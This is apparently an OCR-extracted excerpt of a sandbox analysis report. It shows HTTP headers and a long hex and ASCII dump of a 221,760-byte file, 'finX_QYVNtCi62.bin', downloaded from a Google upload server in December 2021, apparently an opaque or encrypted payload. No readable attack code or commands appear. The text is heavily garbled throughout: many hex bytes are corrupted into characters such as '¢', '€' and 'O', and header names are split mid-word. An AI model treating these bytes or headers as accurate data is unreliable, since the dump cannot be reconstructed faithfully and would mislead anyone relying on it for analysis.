model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Cl
ient, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visib
ilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-
Pageld, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-1d, X-Goog-Request-Info, X-Goog-Request-R
eason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-
Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-
Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-
Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding,
X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-1d, X-Goog-FieldMask, X-Google-
Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-
User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-T
ype, X-Use-HTTP-Status-Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-
VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-
Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-M
eeting-Debugid, X-Goog-Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-
Token, X-Goog-Meeting-Viewerlnfo, X-Client-Data, Xx-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-
Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-
Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-
auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-
device-capabilities, X-Server-Timeout

Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="finX_QYVNtCi62.bin";filename*=UTF-8"finX_QYVNtCi62.bin

Content-Length: 221760

Date: Wed, 01 Dec 2021 18:10:27 GMT

Expires: Wed, 01 Dec 2021 18:10:27 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=cNsAng==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Connection: close

Data Raw: b0 29 df 50 71 9f 86 cc 54 db 32 48 13 ad 7e 74 3f 95 Oe 7a 75 b8 b6 a3 14 98 64 b2 ee 6 8¢ 91 cO eb ce 98 dc
€6 9a 95 60 6a c7 14 93 21 ba 1c eb 6e 17 6¢ 25 86 38 9c 02 9e 8¢ f8 88 76 32 b6 21 a9 ba 89 37 6d b9 b8 cb e8 db 01 54
fc 90 73 67 d0 a2 3c e2 ac 3f 9d 37 36 e0 4f c9 7c aa ee 2f d3 fc ca b9 50 ae 28 22 7e 9a 13 de 2a ec 96 51 b4 b2 7e 85
02 1le c5a4 7c d8 cl 4d 01 8b f7 ¢5 79 ¢7 79 bc b4 e2 28 69 9b ea 1c b9 9d 00 Oa 72 a6 54 47 3f 03 b6 cd 86 62 93 ac 40
fe 56 44 2f 72 f0 ed 59 c5 77 c2 c4 85 €9 37 36 67 eb 8f d8 18 fd 15 c3 7a 34 99 88 dc c0 3f 91 21 4c 82 21 bd 4 ef bl bb
cccc 2a 78 a8 ea 54 ea 1b 41 a5 67 07 ad b8 87 f9 47 43 64 bf 2e 85 fd 41 5d 60 ca 1c df 8d a8 f9 d8 94 87 95 0f c9 a4 48
e3 57 f55b 99 4d dc a9 7b bl ee 32 ab f3 a8 1b

Data Ascii: )PqT2H~t?zud’jInI%8v2!7mTsg<?760|/P("~*Q~|Myy(irTG?b@VD/rYw769z4?!L*xTAgGCd.A] HW[M{2

Data Raw: ea 8e 78 25 28 b8 a5 69 a9 93 78 c1 71 31 fc fb dc c0 35 4d 09 62 80 71 fe fe 31 ef 92 f8 cc e2 d1 23 a5 56 ea
1d 4b 8d 5f 07 ad 52 59 fb 40 62 65 b4 2e 84 8d 42 5d 62 c2 65 df 9b 27 f9 d2 ca f1 96 Of cb 84 11 e3 15 6e 5b 93 4d dc e9
7b bl ce 32 ab 5e 07 1b 90 d4 01 bl 8c 62 el 42 6d b6 a5 7f fe 4c 85 5d e4 f4 a0 09 ea 83 53 47 92 69 50 bd be bf be c4
db 72 17 5d 94 4f 59 al 86 43 f3 38 1b 8a 74 21 c9 57 b8 64 el 10 5d ec 43 78 04 f2 f5 c7 21 f4 09 f8 ae 2a fc ec 7c 0d aa
ad ce 31 b4 ac 42 e4 94 eb 9d d4 bf bb 59 56 2d 70 f3 62 29 f6 7c 8f 6d c7 75 23 bd 8 39 cd dc 82 52 49 af ee cd 1f c4 79
5d c8 bd 64 bc 8c fd 56 ¢7 69 a9 1c 49 b0 7a be a6 9e 65 48 b9 e7 76 47 1le aa 7e 83 Oa 6e e3 48 8f Ob 25 18 f2 16 54 9e
39 4e dc 31 05 37 04 69 19 17 43 bf 32 f1 22

Data Ascii: x%(ixq15Mbgl#VK_RY@be.B]be'n[M{2bBmL]SGiPr]OYC8t!Wd]Cx!*|1BYV-pb)|mu#9Rly]dVilzeHvG~nH%
TON17iC2"

Data Raw: de bf fc 8e 54 2d 7c f3 52 29 f6 7c 2b 1d 9b 66 27 b7 e2 3a a2 18 83 7e 43 c9 a5 b3 07 ce 51 17 68 al 71 ae a4
2 52 df 9d be 70 c9 af 68 33 b4 f1 31 49 b4 f4 69 44 71 3 7a 95 fe d8 d8 9d 15 33 21 18 2 1f 48 9e df 3c a9 33 2e 38 2f
85 3 b b9 ae 5f ef 34 b0 05 59 26 7c 8a d1 58 3f 61 97 ea 14 6b 29 ff a4 45 a2 27 9e 20 83 2c bf Of 60 52 Oe c9 1b d1 27
b0 a5 90 84 55 87 08 5d 72 8d d4 c1 d6 d9 b8 87 7a a9 f9 fb 0d 87 56 60 cd d5 87 d7 cO fd 3f 68 81 aa 74 b0 38 22 d6 5¢
ce 20 1f el 02 0a bd 26 77 5f be 8a 4a b6 a7 55 94 cd 4 2d ac b6 ¢7 17 b3 fc 20 76 3a ec f9 42 32 b6 aa 00 ee 56 ec 7 8b
47 04 fa a5 2a 2d 3b 37 9c 47 d8 74 4f db 1f 9d f5 8a 4c 10 41 64 f3 d5 fe 1a 5d e9 ac 5e d8 25 32 26 59 2b 18 cb c9 4a 16
30 12 ¢3 9b bb Oe 83 02 3¢ 1b a4 6f 16 eb

Data Ascii: T-|R)|+f:~CQhgRph311iDgz3!H<3.8/_4Y&|X?ak)E' ' R'U]rzV ?ht8"\ &w_JU- v:B2VG*-;7GtOLAd]"%2&Y+J0<0

Data Raw: 94 30 42 a9 ab f1 ef cd f4 26 97 06 d6 3c 91 88 57 74 3c f9 8 f1 89 b4 a0 2e 87 7d c4 4d al dc 02 d2 88 02 08
31 1f ¢8 6f 43 72 5¢ fb 1f 65 5 8a 4c 29 {3 4c 4d dd d6 3a 75 ce a6 76 49 0d 6¢ 2¢ 46 27 87 b8 el 7 15 18 8f d2 b2 99 99
f8 00 3a 35 ab f4 16 e1 00 91 07 1d b8 d6 eb d6 ba 71 5b 20 c6 8e 66 c4 bl ee 2f 87 30 30 96 48 c2 1a 50 12 ab 18 99 7e
11 ¢c80d 77 67 e4 50 6e 1f ba d0 45 42 25 7c fa 09 b0 ¢3 8a 5a 21 2d 68 8a Ob eb 71 35 07 ae b3 7f 5e Oa ab ae 04 25 68
61 Oe 98 fc e7 10 30 5d c2 Ob 66 15 50 32 1c al 02 80 81 c8 85 71 d9 28 30 Oa 76 89 c3 ae 4f a0 c6 dd f9 aa 95 bb 1d 9d
57 14 ¢9 50 75 50 82 c1 55 8¢ 96 45 2d dc 7c ed 44 80 Of 78 b7 63 4f de 6¢ Ob 8a b9 69 bd 53 al 97 09 71 bc d1 94 4e c2
73 46 73 9f f6 ba d8 40 0f 27 72 77 31 c0 e9 6e 00

Data Ascii: 0B&<Wt<.}M1oCr\eL)LM:uvll,F':5q[ f/00HP~wgPnEB%|Z!-hq5"%ha0]fP2q(0vOWPUPUE-|DxcOliSqNsFs
@''wiln

Data Raw: 6b 4a 59 37 cc a0 55 94 b2 03 2e 19 33 0f 37 bf b7 37 b6 80 60 d8 cb 22 8c b3 9a 42 4c ef ce d5 be 9a 88 62
bc 6¢ f3 54 87 34 6d bd af fc d5 f3 ¢1 a9 03 96 5b f5 d0 a2 3a ca 84 3f9d 71 27 e7 20 1b 7c aa e4 07 {7 fc ca b3 44 b8 00
10 7e 9a 15 f8 f7 d6 97 51 b4 97 56 b2 02 le cf b7 41 cc d2 ca 29 b3 f7 cb 6¢ a0 52 bd 00 eb 9b 46 23 eb 54 6¢ fc c8 62
1b d5 6f ba 58 6¢ d1 be f4 4f a2 8f 37 b8 f7 29 5b 54 30 99 39 a0 7c bb e4 ec 83 3f 37 2a b8 a9 9d 20 9b 70 eb 18 41 93 ac
d6 62 2e d1 39 64 da 73 f8 f2 4d ec fa d6 e4 9b db Ob 81 47 a8 09 03 db 71 07 ad 5c af 81 46 48 6f 16 3f c5 bf 6a 3b 62 c2
la 7d 9c e8 d1 a3 ca f1 9c 27 ae 86 48 e5 7f dd 5b 99 4b cd ee 14 63 ce 32 al db 7a 19 82 c8 29 9f 8f 79 d7 28 15 al a4
75 d6 31 87 5d 3 de f4 40 ea 89 71 1d al 69 56

Data Ascii: kJY7U.377 "BLbIT4m[:?q' [ID~QVA)IRF#TIboXIO7)[T09|?7* pAb.9dsMGq\FHo?j;b}'H[Kc2z)y(ul]@qiV
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kBytes
Timestamp transferred Direction Data

2021-12-01 18:10:27 UTC 19 IN Data Raw: 1b 6a 29 f1 ac 45 a2 1f 8f 2b a8 38 bf 08 77 b6 Of 5 18 c9 2c b0 a2 be 7d 54 ab 04 4a 79 8d 95 de 28 d8 9b 85
51 ab c8 18 25 f3 54 60 cb d7 fa 4b c0 fd 3b 42 f7 a8 17 bf 10 b9 d9 5¢ c4 3f Of 6d 5d Ob bd 27 5f c4 ce 83 40 a9 a3 d9 cb
cd 74 25 84 2d ¢8 17 b9 d4 4d 74 3a eb d1 d9 32 b6 2f 21 96 54 e2 f1 a3 dc 99 f3 af 02 07 3b 37 96 75 43 74 4e d1 37 d8
7 26 43 38 da 6a f3 df d6 86 54 €9 a6 79 43 25 32 36 46 21 95 94 c9 4a 17 d1 80 c3 9b bf 26 fa 00 eb 14 8c f4 19 eb 28 cf
1d 1d be c4 c5 fe 07 73 bd 2f d7 a7 40 04 b3 ee dd a6 17 30 99 42 ea 44 4a 12 ad Oa b4 56 ac ca Oe 7b 76 cd 76 3c 1d ba
€7 67 65 25 73 f0 21 ee d9 8a 5¢ 33 05 40 4b 09 cb 7d 39 16 8a a0 76 4f 0a ab bf 29 39 6e 70 07 ed 35 e7 11 3a 4a 3c 09
53 7099 32 0f ab 15 7e d3 a2 83 le 1f 28 30 00
Data Ascii: )E+8w,}TIy(Q%T K;B\?m]'_@1t%-Mt:2/IT;7uCtN7&C8jTyC%26F!J&(s/@0BDJIV{vv<ge%s\3@K}9vO)9np5
:J<Sp2~(0

2021-12-01 18:10:27 UTC 20 IN Data Raw: 30 86 66 78 8c al 1f 51 be 2b c1 d3 e4 dc 13 75 1b 17 6f c0 90 63 de 33 7a 70 5f 97 84 57 42 42 a7 da 8c Of 6a
83 b9 4594 a6 81 c6 1e 82 03 ch 77 63 38 b9 f5 6 1f €6 97 85 88 d2 da ff 18 42 52 d5 db 84 be 44 0a 19 4c bf b8 ff b6 55
1b 27 c8 33 7e 5b 97 f7 €6 ¢6 17 1f 08 25 d8 7a 3c aa 99 b8 c9 dd 49 47 4d 9b 64 26 30 c2 cf a7 87 b6 1e b9 74 0d 2b a5
3d 45 8a b8 cf e2 d6 18 b8 07 90 62 db ca 5c 3d ce a9 14 cf 6¢ 25 e4 4f d8 78 b6 10 2e ff ed cd d6 3d ae 28 28 7c f5 e3 de
2ae6 ba64 adal 7a 8513 1a d8 5a 7d f4 c4 da 2b 95 e4 cf 66 6¢ 73 ab fe ea c9 4b 3b f8 54 74 ad 50 74 e5 d4 58 34 5a
7f d5 bf f6 Ob ad 31 20 bc 3a 00 5e 6a €9 77 86 48 Oa bb 32 e0 8f 1e fc 9f 87 d9 4a 88 66 66 c7 6¢ 09 97 ac 5b c2 3f 91 09
4c 82 60 d0 2d ed fd bc c5 bf 3¢ da Ob 8d 47
Data Ascii: 0fxQ-+uoc3zp_WBBjEwc8BRDLU'3~[%z<IGMd&0t+=Eb\=1%0x.=((|*dzZ}+flsK; TtPtX4Z1 :AwH2Jffl[?L"-<G

2021-12-01 18:10:27 UTC 22 IN Data Raw: 18 83 7e 5b c6 95 2e 1d ce 57 3b 2e bf 62 ac cb ab 56 c7 69 b5 46 ce b0 72 a2 5f fO 1d 5b bf c¢5 be 42 71 f4 56
6a 02 d9 f2 f1 7a 20 25 12 f9 06 5b 86 29 22 8a cf 04 11 10 6a 14 02 e4 b6 31 fa 34 b8 1e 61 fc 7d a6 d0 75 37 2f 8¢ ea 1c
6e 8b e0 bd 49 a2 3e 90 d5 a9 1b ad 20 73 ac 0f €3 76 34 2c b0 a8 €9 84 54 ab 00 40 60 81 d3 d1 37 d3 6a 84 7d a0 d5
0Oe 5b fa 54 60 cf 75 b0 40 cc fd 3d 56 09 a9 58 b4 07 b5 d6 54 db 2d eb 6¢ 71 08 96 22 67 b7 42 75 bf 83 ad d9 cb d6 c4
28 84 e6 c7 17 b9 fe 57 74 2b e8 f9 26 32 b6 aa 47 a2 54 ec fb cc e9 04 fa a5 08 d5 88 37 96 6f 66 5¢ 78 d1 37 d2 fb 88
62 c7 da 64 f9 cc d2 1c 5d ed a6 76 ce 5e 32 2c 47 2c 44 e8 c9 4a 16 30 9d c3 9b bb Oe fa 01 3¢ 17 85 7a al 33 90 dc 02
Ob b5 d4 ¢1 91 06 72 5b 2c de b6 4b 16 b2 c6 68 af 17
Data Ascii: ~[.W;.bViFr_[BqVjz %[)"j14a}u7/nl> sv4,T@ 7j}[T u@=VXT-lq"gBu(Wt+&2GT70f\x7bd]v"2,G,DJ0<z3r[,Kh

2021-12-01 18:10:27 UTC 23 IN Data Raw: da 14 26 73 d3 97 85 €9 ab 90 1e 4c 26 9c 47 14 0d 4d 8 7d 2c ce cf 3a cb 58 19 af fb cf 41 f1 95 84 b0 4b 39
d5 df 98 13 f8 77 70 a7 70 e5 30 86 6a 29 da 85 2f da e6 61 6e 55 ac a8 2b fa b6 58 db 2c 39 b8 41 e9 62 ce 5a d1 fc b2
19 84 6d 7a e9 7e el 50 98 7e ee 23 fb d7 02 76 1b 17 6f c0 85 1e ea 01 58 6d 7c 68 83 40 b6 2c e6 d8 94 Oe 60 9d bc bf
95 9b 87 c6 eb 83 28 d6 91 71 10 bb cf 7 31 67 69 56 74 c3 e3 fb 18 40 66 ca 25 19 92 46 21 3b 74 d6 56 16 5a 59 34 71
¢4 3b 77 6a 1b e5 d7 38 16 33 14 1c d4 e0 b4 bl 8a bc e6 cc 4d 4f 9b d2 48 23 20 4e f5 b4 83 b2 71 99 6¢ f3 2e a5 Oa 13
9a b8 cf ec cc 32 b3 7d b5 73 df d4 2c 8b f4 9d 13 b5 3d 36 e0 49 e4 79 77 bd 28 d3 fc el a7 2e 8d 28 22 7a 82 20 c8 54
€9 96 51 b0 3c ¢9 93 33 12 ed ef 7c d8 c7 e0 04 56 c4
Data Ascii: &sL&GM},:XAK9wpp0j)/anU+X,9AbZmz~P~#voXm|h@, (q1giVt@f%F!;tVZY4q;wj83MOH# Ngl.2}s,=6lyw(.("z
TQ<3|V

2021-12-01 18:10:27 UTC 24 IN Data Raw: 94 be ba 96 88 f3 56 1d 32 d5 cf 51 ab 80 50 41 7d 18 8a 7e 25 f6 00 c5 7d 9f 77 10 ec 47 5a 09 e6 9a 8f 09 dO
03 fe bb 98 9b a3 7c 09 7d 40 e4 7d b6 ae 5b f3 {7 f2 €3 d6 b9 93 10 7c 21 75 9c 35 01 d2 76 89 08 15 7d 23 b7 {7 e3 74
e4 82 52 4a df c4 fe 06 b0 59 13 ca b9 4a a7 a7 d3 50 ef 47 bf 5¢c ¢8 30 72 be al f5 ec e7 bb ed 7a 42 6e 88 4d 9a 7e d1 f4
9e 06 08 2b 1b f3 1d 7f a2 21 3d 8f b1 0d 3d 17 69 d3 95 44 a9 21 f4 2b cb 32 68 7c 74 8a db 76 04 5e 96 ea 1a 42 Od ff
ac 4f 22 3e 88 2b ac ea cc 0a 77 ac 0d fa 39 fa 35 ce aa 86 7a 50 83 50 48 79 8b fb fd 28 d8 9e 05 59 ab d2 1c f8 a7 56 60
cb ff ab 4c c0 fb 5a 49 f6 a8 7e d9 1b b8 d6 56 ec 3b 15 6d 5b 65 b4 26 5f ce d3 80 41 a9 a7 cf 35 cc ab 2e 9b 3f 39 16 af
2a 56 2b 38 ca 75 d9 32 b6 5e 29 80 aa ed ae
Data Ascii: V2QPA}-%}wGZ|}@}[|!'uSvi#tRIYIPG\0rzBnM~+!==iD!+2h|tv*BO">+W95zPPHy(YV LZI~V;m[e&_A5.?9*V
+8u2”)

2021-12-01 18:10:27 UTC 26 IN Data Raw: 70 6¢ de ed a0 a7 85 01 d1 bb 9e ac €9 9d 19 26 ee 41 1a 45 fd cf 5f 9f 9d 36 18 0d 65 ed 53 b3 da 73 49 68
2350 46 14 86 bb 77 95 29 b8 88 19 a7 7e ff 9a 4a c9 f5 7b 67 9e {7 a3 8b 43 50 26 49 a8 33 d1 f4 79 10 d5 1a ff 0d 2b 16
d1 0b 1f 60 d9 93 8d Oc b5 82 ef 5b 74 b5 44 44 0f ac 59 6b 6 c9 dc 1f cb 47 19 af e4 ca 8e Oe b8 a0 99 3e 28 de ce 86 16
ed 71 49 b4 6d 1b 3b b5 5d 2d eb 98 2d c5 f9 5¢c 94 4f 7e be 2f f0 bl 37 d6 2f 28 b9 2e d4 0d db 5f d9 6¢ b7 26 b5 40 69 f8
68 0e 4a ab 25 0c 31 d3 d9 11 63 08 c1 7a ed 96 6a db 12 47 70 47 8¢ 83 51 a7 5¢ a6 26 95 28 61 95 a4 aa 8d 5¢ 90 da
Oa ac 17 ce 89 73 0f a4 cf 0d 26 b5 62 6b 7c ce 26 ec 13 4e 70 c4 c0 18 af 5f 15 05 b2 be 85 e2 a3 56 4c 81 ca 33 78 44
ba e0 e6 38 07 28 10 1e 2e el 1b bd 9b b7 d8 ca 9b
Data Ascii: pl&AE_6eSsIh#PFw)~J{gCP&I3y+ [tDDYKG>(qIm;]--\O~/7/(._I&@ihJI%1czjGpGQ\&(a\s&bk|&Np_VL3xD8§(.

2021-12-01 18:10:27 UTC 27 IN Data Raw: €5 01 97 b6 68 16 bc 4f 5d ec 90 c5 4e b4 2e 84 b6 52 5f 71 cd 0d cf 9b b9 e8 fO dd fO 96 05 d8 8b 59 f2 81 e6
54 9b 5¢ d3 c¢1 63 b0 ce 38 b8 fd bb 14 98 df 0f 67 5b 6a de 45 7c ae 8¢ 67 ff 59 8f 51 e4 f9 92 96 f9 8¢ 5b 22 ae 41 48 bd
b4 b3 9b 9f d4 68 cb 21 d0 4d 48 a4 a8 4c 9d 74 11 99 73 36 e6 6d e7 69 37 a9 03 e3 41 63 0d cd 82 88 21 fe 10 fb a0 17
89 75 6f 02 bl ae f1 a7 al 7a c9 a0 c4 eb 9c cd bd 91 05 5b 3c 72 8a 22 2c de 61 88 02 9f 76 32 bb 9c 22 b8 e6 88 6b 64
¢l bd cd 17 ee 5f 93 ca bd 22 35 a4 d3 56 c4 72 b3 33 df b1 7a b4 ce ef 30 48 b3 c5 28 40 71 f4 6d 97 11 cd e5 8e 0a 08
7518 3 1d 44 94 26 51 a6 31 05 3d 17 6d Oe 24 06 f2 02 f6 34 b0 01 71 02 8c b5 82 5a bd 51 95 e0 ab 7d ff 72 87 45 a2
37 9b 38 b9 25 ae 1b 70 cO 2c e5 19 c9 2¢ b0 a2 a6
Data Ascii: hO]N.R_qYT\c8g[[E|gYQ["AHh!MHLts6mi7Ac!uoz[<r",av2"kd_"5Vr3zOH(@gmuD&Q1=m$4qZQ}rE78%p,,

2021-12-01 18:10:27 UTC 28 IN Data Raw: 3a 85 46 c2 55 51 12 a7 09 db ce ac ca 07 62 73 €5 69 3d 1d b0 c¢7 69 Oa bd 7c f0 2b fd c5 9b 5a 26 2d c1 49
09 ed 61 b4 11 84 a0 77 5b 30 b5 97 8a 36 6e 7a 1f 7b Oa e7 10 3b 62 0f 08 6e 70 8e be 23 ab 15 7f ab 03 83 1e 1a 00 6a
0061 7d d6 27 d3 8d a9 14 f8 b9 98 bd e5 8b 20 34 fc 51 73 48 71 c8 55 8¢ 93 3a Oe 0f 75 fb 53 af 67 69 bc 7e 19 d9 53
0b 8a a9 ce 84 33 b0 9b 1e 55 6b c7 8c c5 7 fe 53 72 8c fa b8 95 47 58 ad 4b be 24 d6 73 77 25 3c 33 74 0a 3a 06 fc 05
2b 65 52 bf 83 06 a6 aa 8b 72 49 b9 47 1e d9 d1 4f 6a ed eb d7 20 d8 56 31 8a fe d5 b5 84 ab 8¢ 88 27 2a d2 ce 84 11 fb
9 d6 bb b6 0d ad d9 4a 3f f0 92 2f d6 f7 78 7e 66 48 aa 07 e7 a7 ba db 2d 39 b3 2c c0 73 c2 48 c8 63 8c 20 aa 6d 70 41
79 13 42 bf 2¢ f9 24 eb c0 9e 5d 03 e9 6f ff 9b 71 ¢5 17
Data Ascii: :FUQbsi=i|+Z&-law[06nz{;bnp#ja}’ 4QsHqU:uSgi~S3UKSIGXK$swo<3t:+eRrIGOj V1'*J?/x~fH-9,sHc
mpAyB,$Joq

2021-12-01 18:10:27 UTC 29 IN Data Raw: cb 26 bb 77 bc 00 98 ¢3 49 23 el 43 56 a2 d9 49 1b d5 75 24 6e 73 c9 32 cc 0f b3 ce 32 b4 29 2e 44 4a 83 ab
6f a9 2a bb e5 ec 8d 06 77 3e a9 8b a3 68 81 58 fa 76 39 99 bd fe d1 1b fe 06 4d 82 7b €9 d6 fe de d5 e7 cd e2 d1 1a a9
4385 32 40 a5 6d 16 8f 41 e8 d1 47 48 6f a5 Oc ea 8e 43 5d 6a d3 18 c9 9c ac 77 6f a5 dd 97 0f ¢3 97 6d fc 17 78 70 99
4d dd fa 5a a0 eb 2d 83 e2 8b 0d 9d 8e 29 a6 8c 79 db 34 48 a0 a4 75 ed 7f 94 7b e4 d7 e7 62 eb 83 53 20 86 78 77 94
a7 b8 96 84 f3 25 1f 32 d9 67 77 a9 80 52 f3 Oc 1b 8a 74 34 c1 70 e7 62 f0 57 7f d6 42 72 08 3b 96 98 07 d8 04 ef 97 77
c4 a3 7c 07 7c ac ec a3 af ab 4e 55 d1 ec 97 00 a8 b6 3¢ 63 2d 76 96 20 00 de 4e 89 02 9f ab 23 b0 d9 38 93 a7 fe 52 48
c2 bd cd 1f 7a 51 13 ca 9c 62 aa a4 06 56 c7 63 ae 5¢ c2 b0
Data Ascii: &WI#CVIu$ns22).DJo*w>hXvIM{C2@mAGHoC]ljwomxpMZ-)y4Hu{bS xw%2gwRt4pbWBr;w||NU<c-v
N#8RHzQbVc\
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kBytes
Timestamp transferred Direction Data

2021-12-01 18:10:27 UTC 31 IN Data Raw: a3 dc Oe d2 b3 01 08 3d 2c 1b 68 43 74 4e c2 3c c9 fc 9c 4d 10 cb 64 3 d5 74 2d 56 fe b9 4a cf 1a 32 2¢ 47 83
85 9f d1 5b 13 30 98 c3 9b bb 84 eb 0b 25 0b 00 cb 16 eb 29 6d 16 16 a4 d4 c1 ed Oa 62 56 32 ff 26 4c 04 b5 f8 a4 a8 17
30 97 56 fe 50 78 b1 ad Ob be 7e bd ca 0d 7b d4 dc 73 2f 17 ab dc 79 71 3e f1 df 21 ee c2 99 50 23 09 56 5c 95 fa 7b 2e
00 18 b1 7a 57 33 3d ae 25 2f 78 ec 16 fb 2f fO 8c 2b 46 2b 21 c9 7a 99 38 3a b4 01 6d 8c a8 92 11 09 d6 31 2c 6b 75 €9
ce 5f a6 a3 1f e3 b9 90 ac f2 90 17 23 01 50 59 5e ed c5 43 16 ba 38 05 1e 74 e6 5d a7 d6 77 b7 78 00 4a 66 f5 8b 84 61
87 3e b2 90 27 43 7e d3 9e 57 d3 ed 5c 73 8e f8 b6 83 af 4e 1d 71 bl 1b fO ee 66 22 22 33 4f 0a 3a 06 cb 12 24 5b 82 92
9c 1d a8 94 51 5b 58 b3 56 1c 21 67 4f 6a fc b0 b7 21
Data Ascii: =,hCtN<Mdt-VJ2,G[0%)mbV2&L0VPx~{s/lyq>!P#V\{.zZW3=%/x/+F+!z8:m1, ku_#PY"C8t]wxJfa>'C~W\sNgf
"30:$[Q[XV!gOj!

2021-12-01 18:10:27 UTC 32 IN Data Raw: 53 b3 93 52 dd 27 e2 d1 9f bf ad 02 bd 65 €8 d4 88 18 67 bb bd 85 79 c4 0b 98 18 8c 7e df d9 b4 c2 e3 80 3d
8a 7a 36 €9 50 c0 82 ab c2 2d 8 fe el 3d 47 a5 03 28 7c 9f 59 4f 35 e1 b8 53 a2 b9 7b a0 48 09 13 f0 79 92 c9 fc c9 9d dd
ch 66 6e 47 be 00 d6 e5 48 23 a8 50 74 ad 42 6e 30 fa 74 3f 55 92 d0 93 ea 71 84 cf 21 94 4b 60 5a 52 98 83 60 bb 02 a4
312 86 3b 70 30 b4 af bd 61 67 71 c1 75 2e 9f ac d4 d9 c1 90 0d 4e a9 73 d3 3b e8 ff d5 83 cd €2 d1 21 8b 54 ea 08 71
a7 67 52 ad 58 87 bf 46 48 74 a2 22 ae e8 42 55 7a 3c 1d f3 80 af 96 95 cb f1 9¢ 17 fa bb 5f ¢9 4c f9 5b 91 54 22 €8 57 b5
d7 18 b1 ff aa 13 95 30 00 9d 8f 61 dd 47 65 b9 5a 7e d2 55 87 4f f4 de c6 41 ea 89 74 fd b8 65 50 b4 a2 47 97 a2 d9 65
11 32 d7 54 a7 aa ac 56 b7 76 30 3b 64 0d €9 77 f6
Data Ascii: SR'egy~=z6P-=G(|YO5S{HyfnGH#PtBn0t?Uq!K'ZR";p0agqu.Ns;! TqgRXFHt"BUz<_L[T"W0aGeZ~UOAtePGe
2TVVvO;dw

2021-12-01 18:10:27 UTC 33 IN Data Raw: 7e da 1c 22 5d 78 8d d9 f2 23 f0 ba 87 51 ad al 4e 24 f2 5e 1a d7 dO 79 5b la ea e3 cd dc a8 74 b7 1d b0 cO
47 58 36 02 6f €9 96 b4 3e 5¢ 70 20 8¢ 56 a0 b7 de e3 da f5 2c 8e 24 ce 99 Oe cc 8d 71 56 c9 d1 d9 32 b6 a0 28 e6 14 b7
d9 32 dc 04 f0 1b 9e 01 32 b9 21 78 99 71 6f d1 36 d8 f7 d7 fe a4 d3 4e f3 df d6 2f 6d ec a6 ff 43 25 32 64 46 21 85 bc 5e
4217 12 8b ac 03 b1 26 f0 0d 35 93 3b d4 €9 eb 28 cf 36 16 96 e4 c6 fe 01 00 Oc 27 d7 ad 34 2c 24 ee 29 a5 14 5f Oe 42
ea 4e 5c 1a 23 bc 94 a9 ac ca 0d 40 7d e5 59 3f 1d bc a5 3a 64 25 76 8a 38 e7 4d 3d 8a 3a 8b 7 9d 1e 31 60 ef 9b af a0
76 4e 2e a7 a9 3e aa 68 67 Oe 79 82 53 8c 33 5¢c 3a 11 67 f4 2e 1a Ob aa 15 74 85 b0 8a 90 a7 fe 38 8e d6 c3 5d f9 48 a0
b0 1d 77 1d 49 a4 6d 28 20 3a fe 51 7f 56 d6 d1 57 a4
Data Ascii: ~"]x#QN$"y[tGX60>\p V,$qV2(22!xqo6N/mC%2dFI"NJ&5;(6'4,$)_BNWH@}Y2:d%v8M=:1"vN.>hgyS3\:g.t8]HwIm(
:QVW

2021-12-01 18:10:27 UTC 34 IN Data Raw: 7b 48 b5 76 f6 6e 8e 22 11 ec 49 61 16 ce d3 98 35 9b c1 fe b1 12 bb 3f 7c 0d aa b8 ea 6¢ b0 ab 52 8c 4a 5c f2
77 b9 93 1e 5¢ 3c 7a 92 36 38 fa 19 d7 03 95 7f Ob e8 2 3e b3 f5 88 7a df c0 bd c7 Oe c4 3e 8b ca bd 68 b9 af c2 50 d6 68
a9 4d c9 3e cd d1 08 f1 31 42 a8 f9 15 87 71 f2 74 ae ae 07 e2 8f 16 55 1e 18 f3 1a 7b 8a 30 29 f0 Oa 05 3d 16 02 59 04
46 a3 fd e7 32 b7 17 76 8c cb e5 72 72 2c 5b bd db 1f 6a 2f ec a9 54 a7 33 8b 25 ac 1f df 09 77 a6 02 cd 8e c9 2c ba ab e¢
